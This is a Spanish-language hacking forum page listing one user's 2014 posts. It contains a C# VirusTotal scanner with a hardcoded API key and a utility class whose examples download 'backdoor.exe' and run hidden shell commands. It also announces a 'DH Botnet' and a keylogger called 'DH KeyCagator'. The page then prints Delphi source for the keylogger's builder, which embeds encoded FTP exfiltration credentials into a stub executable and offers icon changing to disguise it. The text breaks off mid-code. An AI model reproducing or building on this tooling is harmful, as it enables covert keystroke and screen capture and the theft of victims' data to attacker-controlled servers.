Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#181
C# - VB.NET / [C#] VirusTotal Scanner 0.1
Junio 27, 2014, 10:42:18 AM
Mi primer programa en C# , un simple scanner del servicio VirusTotal.

Una imagen :



El codigo :

Form1.cs

Código: csharp

// VirusTotal Scanner 0.1
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Text.RegularExpressions;

namespace virustotalscanner
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            openFileDialog1.ShowDialog();
            if (File.Exists(openFileDialog1.FileName))
            {
                textBox1.Text = openFileDialog1.FileName;
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {

            DH_Tools tools = new DH_Tools();

            if (File.Exists(textBox1.Text))
            {

                string md5 = tools.md5file(textBox1.Text);

                listView1.Items.Clear();
                richTextBox1.Clear();

                string apikey = "07d6f7d301eb1ca58931a396643b91e4c98f830dcaf52aa646f034c876689064"; // API Key
                toolStripStatusLabel1.Text = "[+] Scanning ...";
                this.Refresh();
               
                string code = tools.tomar("http://www.virustotal.com/vtapi/v2/file/report", "resource=" + md5 + "&apikey=" + apikey);
                code = code.Replace("{\"scans\":", "");

                string anti = "";
                string reanti = "";

                Match regex = Regex.Match(code, "\"(.*?)\": {\"detected\": (.*?), \"version\": (.*?), \"result\": (.*?), \"update\": (.*?)}", RegexOptions.IgnoreCase);

                while (regex.Success)
                {
                    anti = regex.Groups[1].Value;
                    reanti = regex.Groups[4].Value;
                    reanti = reanti.Replace("\"", "");

                    ListViewItem item = new ListViewItem();
                    if (reanti == "null")
                    {
                        item.ForeColor = Color.Cyan;
                        reanti = "Clean";
                    }
                    else
                    {
                        item.ForeColor = Color.Red;
                    }

                    item.Text = anti;
                    item.SubItems.Add(reanti);

                    listView1.Items.Add(item);

                    regex = regex.NextMatch();
                }

                regex = Regex.Match(code, "\"scan_id\": \"(.*?)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] Scan_ID : " + regex.Groups[1].Value + Environment.NewLine);
                }
                else
                {
                    MessageBox.Show("Not Found");
                }

                regex = Regex.Match(code, "\"scan_date\": \"(.*?)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] Scan_Date : " + regex.Groups[1].Value + Environment.NewLine);
                }

                regex = Regex.Match(code, "\"permalink\": \"(.*?)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] PermaLink : " + regex.Groups[1].Value + Environment.NewLine);
                }

                regex = Regex.Match(code, "\"verbose_msg\": \"(.*?)\", \"total\": (.*?), \"positives\": (.*?),", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] Founds : " + regex.Groups[3].Value + "/" + regex.Groups[2].Value + Environment.NewLine);
                }

                toolStripStatusLabel1.Text = "[+] Finished";
                this.Refresh();


            }
            else
            {
                MessageBox.Show("File not found");
            }
           

        }
    }
}

// The End ?


DH_Tools.cs

Código: csharp

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace virustotalscanner
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string respondecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
                code = dividir.Host;
            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#182
C# - VB.NET / [C#] Clase DH Tools
Junio 20, 2014, 11:04:49 AM
Mi primer clase que hice practicando en C#

Con las siguientes funciones :

  • Realizar peticiones GET & POST
  • Ver el numero de HTTP Status en una pagina
  • HTTP FingerPrinting
  • Leer un archivo
  • Escribir o crear un archivo
  • Ver el sistema operativo actual
  • Elimina duplicados en una lista
  • Corta URLS en una lista
  • Descargar y subir archivos
  • Ver el nombre del archivo en una ruta
  • Ejecutar comandos
  • URI Split
  • MD5 Hash Generator
  • Ver el MD5 de un archivo
  • Ver la IP de un hostname

    El codigo de la clase :

    Código: csharp

    // Class Name : DH Tools
    // Version : Beta
    // Author : Doddy Hackman
    // (C) Doddy Hackman 2014
    //
    // Functions :
    //
    // [+] HTTP Methods GET & POST
    // [+] Get HTTP Status code number
    // [+] HTTP FingerPrinting
    // [+] Read File
    // [+] Write File
    // [+] GET OS
    // [+] Remove duplicates from a List
    // [+] Cut urls from a List
    // [+] Download
    // [+] Upload
    // [+] Get Basename from a path
    // [+] Execute commands
    // [+] URI Split
    // [+] MD5 Hash Generator
    // [+] Get MD5 of file
    // [+] Get IP address from host name
    //
    // Credits :
    //
    // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
    // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
    // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
    // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
    // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
    // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
    // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
    //
    // Thanks to : $DoC and atheros14 (Forum indetectables)
    //

    using System;
    using System.Collections.Generic;
    using System.Text;

    using System.Net;
    using System.IO;
    using System.Text.RegularExpressions;
    using System.Security.Cryptography;

    namespace clasewebtools
    {
        class DH_Tools
        {
            public string toma(string url)
            {
                string code = "";

                try
                {
                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    code = nave.DownloadString(url);
                }
                catch
                {
                    //
                }
                return code;
            }

            public string tomar(string url, string par)
            {

                string code = "";

                try
                {

                    HttpWebRequest nave = (HttpWebRequest)
                    WebRequest.Create(url);

                    nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    nave.Method = "POST";
                    nave.ContentType = "application/x-www-form-urlencoded";

                    Stream anteantecode = nave.GetRequestStream();

                    anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                    anteantecode.Close();

                    StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                    code = antecode.ReadToEnd();

                }
                catch
                {
                    //
                }

                return code;

            }

            public string respondecode(string url)
            {
                String code = "";
                try
                {
                    HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                    nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                    int number = (int)num.StatusCode;
                    code = Convert.ToString(number);

                }
                catch
                {

                    code = "404";

                }
                return code;
            }

            public string httpfinger(string url)
            {

                String code = "";

                try
                {

                    HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                    HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                    for (int num = 0; num < nave2.Headers.Count; ++num)
                    {
                        code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                    }

                    nave2.Close();
                }
                catch
                {
                    //
                }

                return code;

            }

            public string openword(string file)
            {
                String code = "";
                try
                {
                    code = System.IO.File.ReadAllText(file);
                }
                catch
                {
                    //
                }
                return code;
            }

            public void savefile(string file,string texto) {

                try {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
                }
                catch {
                    //
                }
            }

            public string getos()
            {
                string code = "";

                try
                {
                    System.OperatingSystem os = System.Environment.OSVersion;
                    code = Convert.ToString(os);
                }
                catch
                {
                    code = "?";
                }

                return code;
            }

            public List<string> repes(List<string> array)
            {
                List<string> repe = new List<string>();
                foreach (string lin in array)
                {
                    if (!repe.Contains(lin))
                    {
                        repe.Add(lin);
                    }
                }

                return repe;

            }

            public List<string> cortar(List<string> otroarray)
            {
                List<string> cort = new List<string>();

                foreach (string row in otroarray)
                {

                    String lineafinal = "";

                    Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                        cort.Add(lineafinal);
                    }

                }

                return cort;
            }

            public string download(string url,string savename)
            {

                String code = "";

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

                try
                {
                    nave.DownloadFile(url, savename);
                    code = "OK";
                }
                catch
                {
                    code = "Error";
                }

                return code;
            }

            public string upload(string link,string archivo)
            {

                String code = "";

                try
                {

                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    byte[] codedos = nave.UploadFile(link, "POST", archivo);
                    code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

                }

                catch
                {
                    code = "Error";
                }

                return code;
               
            }

            public string basename(string file)
            {
                String nombre = "";

                FileInfo basename = new FileInfo(file);
                nombre = basename.Name;

                return nombre;

            }

            public string console(string cmd)
            {

                string code = "";

                try
                {

                    System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                    loadnow.RedirectStandardOutput = true;
                    loadnow.UseShellExecute = false;
                    loadnow.CreateNoWindow = true;
                    System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                    loadnownow.StartInfo = loadnow;
                    loadnownow.Start();
                    code = loadnownow.StandardOutput.ReadToEnd();

                }

                catch
                {
                    code = "Error";
                }

                return code;

            }

            public string urisplit(string url,string opcion)
            {

                string code = "";

                Uri dividir = new Uri(url);

                if (opcion == "host")
                {
                    code = dividir.Host;
                }

                if (opcion == "port")
                {
                    code = Convert.ToString(dividir.Port);
                }

                if (opcion == "path")
                {
                    code = dividir.LocalPath;
                }

                if (opcion == "file")
                {
                    code = dividir.AbsolutePath;
                    FileInfo basename = new FileInfo(code);
                    code = basename.Name;
                }

                if (opcion == "query")
                {
                    code = dividir.Query;
                }

                if (opcion == "")
                {
                    code = "Error";
                }

                return code;
            }

            public string convertir_md5(string text)
            {
                MD5 convertirmd5 = MD5.Create();
                byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
                StringBuilder guardar = new StringBuilder();
                for (int numnow = 0; numnow < infovalor.Length; numnow++)
                {
                    guardar.Append(infovalor[numnow].ToString("x2"));
                }
                return guardar.ToString();
            }

            public string md5file(string file)
            {

                string code = "";

                try
                {
                    var gen = MD5.Create();
                    var ar = File.OpenRead(file);
                    code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
                   
                }
                catch
                {
                    code = "Error";
                }

                return code;
            }

            public string getip(string host)
            {
                string code = "";
                try
                {
                    IPAddress[] find = Dns.GetHostAddresses(host);
                    code = find[0].ToString();
                }
                catch
                {
                    code = "Error";
                }
                return code;
            }
       
        }
    }

    // The End ?


    Con los siguientes ejemplos de uso :

    Código: csharp

    namespace clasewebtools
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }

            private void button1_Click(object sender, EventArgs e)
            {

                // Examples

                DH_Tools tools = new DH_Tools();

                // The GET Method
                //string code = tools.toma("http://www.petardas.com/index.php");

                // The POST Method
                //string code = tools.tomar("http://localhost/pos.php", "probar=test&yeah=dos&control=Now");

                // HTTP Status code number
                //string code = tools.respondecode("http://www.petardas.com/index.php");

                // HTTP FingerPrinting
                //string code = tools.httpfinger("http://www.petardas.com/index.php");

                // Read File
                //string code = tools.openword("C:/test.txt");

                // Write File
                //tools.savefile("test.txt","yeah");

                // GET OS
                //string code = tools.getos();

                /* Remove duplicates from a List
               
                List<string> arrays = new List<string> { "test", "test", "test", "bye", "bye" };

                List<string> limpio = tools.repes(arrays);

                foreach (string text in limpio)
                {
                    richTextBox1.AppendText(text + Environment.NewLine);
                }
               
                */

                /* Cut urls from a List
               
                List<string> lista = new List<string> { "http://localhost1/sql.php?id=adsasdsadsa", "http://localhost2/sql.php?id=adsasdsadsa",
                "http://localhost3/sql.php?id=adsasdsadsa"};

                List<string> cortar = tools.cortar(lista);
                               
                foreach (string test in cortar)
                {
                    richTextBox1.AppendText(test + Environment.NewLine);
                }
               
                */

                // Download File
                //string code = tools.download("http://localhost/backdoor.exe", "backdoor.exe");

                // Upload File
                //string code = tools.upload("http://localhost/uploads/upload.php", "c:/test.txt");

                // Get Basename from a path
                //string code = tools.basename("c:/dsaaads/test.txt");

                // Execute commands
                //string code = tools.console("net user");

                // URI Split
                // Options : host,port,path,file,query
                //string code = tools.urisplit("http://localhost/dsadsadsa/sql.php?id=dsadasd","host");

                // MD5 Hash Generator
                //string code = convertir_md5("123");

                // Get MD5 of file
                //string code = tools.md5file("c:/test.txt");

                // Get IP address from host name
                //string code = tools.getip("www.petardas.com");

            }
        }
    }
#183
Delphi / Re:[Delphi] DH Botnet 0.8
Junio 14, 2014, 02:57:35 PM
en esta version no le agregue DDOS , porque no me interesaba esa funcion.
#184
Delphi / [Delphi] DH Botnet 0.8
Junio 13, 2014, 05:16:59 PM
Version final de esta botnet con las siguientes opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla

    Unas imagenes :





    Un video con un ejemplo de uso :



    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#185
Delphi / [Delphi] DH KeyCagator 1.0
Junio 10, 2014, 12:09:30 PM
Version final de este keylogger con las siguientes opciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

    Una imagen :



    Un video con un ejemplo de uso :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    El codigo :

    El Generador :

    Código: delphi

    // DH KeyCagator 1.0
    // (C) Doddy Hackman 2014
    // Keylogger Generator
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to Chokstyle

    unit dhkey;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.jpeg,
      Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Imaging.pngimage, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
      IdFTP, ShellApi, MadRes;

    type
      TForm1 = class(TForm)
        Image1: TImage;
        StatusBar1: TStatusBar;
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        GroupBox1: TGroupBox;
        GroupBox2: TGroupBox;
        RadioButton1: TRadioButton;
        RadioButton2: TRadioButton;
        ComboBox1: TComboBox;
        Edit2: TEdit;
        GroupBox3: TGroupBox;
        TabSheet2: TTabSheet;
        Edit1: TEdit;
        GroupBox4: TGroupBox;
        CheckBox1: TCheckBox;
        Edit3: TEdit;
        Label1: TLabel;
        TabSheet3: TTabSheet;
        GroupBox5: TGroupBox;
        GroupBox6: TGroupBox;
        CheckBox2: TCheckBox;
        Edit4: TEdit;
        Label2: TLabel;
        GroupBox7: TGroupBox;
        Label3: TLabel;
        Edit5: TEdit;
        Label4: TLabel;
        Edit7: TEdit;
        Label5: TLabel;
        Edit8: TEdit;
        Label6: TLabel;
        Edit6: TEdit;
        TabSheet4: TTabSheet;
        GroupBox8: TGroupBox;
        GroupBox9: TGroupBox;
        Label7: TLabel;
        Edit9: TEdit;
        Label8: TLabel;
        Edit11: TEdit;
        Label9: TLabel;
        Edit12: TEdit;
        Label10: TLabel;
        Edit10: TEdit;
        GroupBox10: TGroupBox;
        Button1: TButton;
        GroupBox12: TGroupBox;
        Button2: TButton;
        CheckBox3: TCheckBox;
        IdFTP1: TIdFTP;
        TabSheet6: TTabSheet;
        GroupBox11: TGroupBox;
        Image2: TImage;
        Memo1: TMemo;
        OpenDialog1: TOpenDialog;
        procedure Button1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Button2Click(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.Button1Click(Sender: TObject);
    var
      i: integer;
      dir: string;
      busqueda: TSearchRec;

    begin

      IdFTP1.Host := Edit9.Text;
      IdFTP1.Username := Edit11.Text;
      IdFTP1.Password := Edit12.Text;

      dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';

      try
        begin
          FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
          DeleteFile(dir + '\' + busqueda.Name);
          while FindNext(busqueda) = 0 do
          begin
            DeleteFile(dir + '\' + busqueda.Name);
          end;
          FindClose(busqueda);

          rmdir(dir);
        end;
      except
        //
      end;

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      try
        begin
          IdFTP1.Connect;
          IdFTP1.ChangeDir(Edit10.Text);

          IdFTP1.List('*.*', True);

          for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
          begin
            IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
              IdFTP1.DirectoryListing.Items[i].FileName, False, False);
          end;

          ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);

          IdFTP1.Disconnect;
          IdFTP1.Free;
        end;
      except
        //
      end;

    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      lineafinal: string;

      savein_especial: string;
      savein: string;
      foldername: string;
      bankop: string;

      capture_op: string;
      capture_seconds: integer;

      ftp_op: string;
      ftp_seconds: integer;
      ftp_host_txt: string;
      ftp_user_txt: string;
      ftp_pass_txt: string;
      ftp_path_txt: string;

      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;

      stubgenerado: string;
      op: string;
      change: DWORD;
      valor: string;

    begin

      if (RadioButton1.Checked = True) then

      begin

        savein_especial := '0';

        if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := ComboBox1.Items[ComboBox1.ItemIndex];
        end;

      end;

      if (RadioButton2.Checked = True) then
      begin
        savein_especial := '1';
        savein := Edit2.Text;
      end;

      foldername := Edit1.Text;

      if (CheckBox1.Checked = True) then
      begin
        capture_op := '1';
      end
      else
      begin
        capture_op := '0';
      end;

      capture_seconds := StrToInt(Edit3.Text) * 1000;

      if (CheckBox2.Checked = True) then
      begin
        ftp_op := '1';
      end
      else
      begin
        ftp_op := '0';
      end;

      if (CheckBox3.Checked = True) then
      begin
        bankop := '1';
      end
      else
      begin
        bankop := '0';
      end;

      ftp_seconds := StrToInt(Edit4.Text) * 1000;

      ftp_host_txt := Edit5.Text;
      ftp_user_txt := Edit7.Text;
      ftp_pass_txt := Edit8.Text;
      ftp_path_txt := Edit6.Text;

      lineafinal := '[63686175]' + dhencode('[opsave]' + savein_especial +
        '[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername +
        '[folder]' + '[capture_op]' + capture_op + '[capture_op]' +
        '[capture_seconds]' + IntToStr(capture_seconds) + '[capture_seconds]' +
        '[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
        '[ftp_seconds]' + IntToStr(ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' +
        ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' +
        '[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt +
        '[ftp_path]', 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      stubgenerado := 'keycagator_ready.exe';

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
        'Data/keycagator.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
        stubgenerado), True);

      StrCopy(code, PChar(lineafinal));
      aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
        FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');

      if (op = 'Yes') then
      begin
        OpenDialog1.InitialDir := GetCurrentDir;
        if OpenDialog1.Execute then
        begin

          try
            begin

              valor := IntToStr(128);

              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
                stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(OpenDialog1.FileName)));
              EndUpdateResourceW(change, False);
              StatusBar1.Panels[0].Text := '[+] Done ';
              StatusBar1.Update;
            end;
          except
            begin
              StatusBar1.Panels[0].Text := '[-] Error';
              StatusBar1.Update;
            end;
          end;
        end
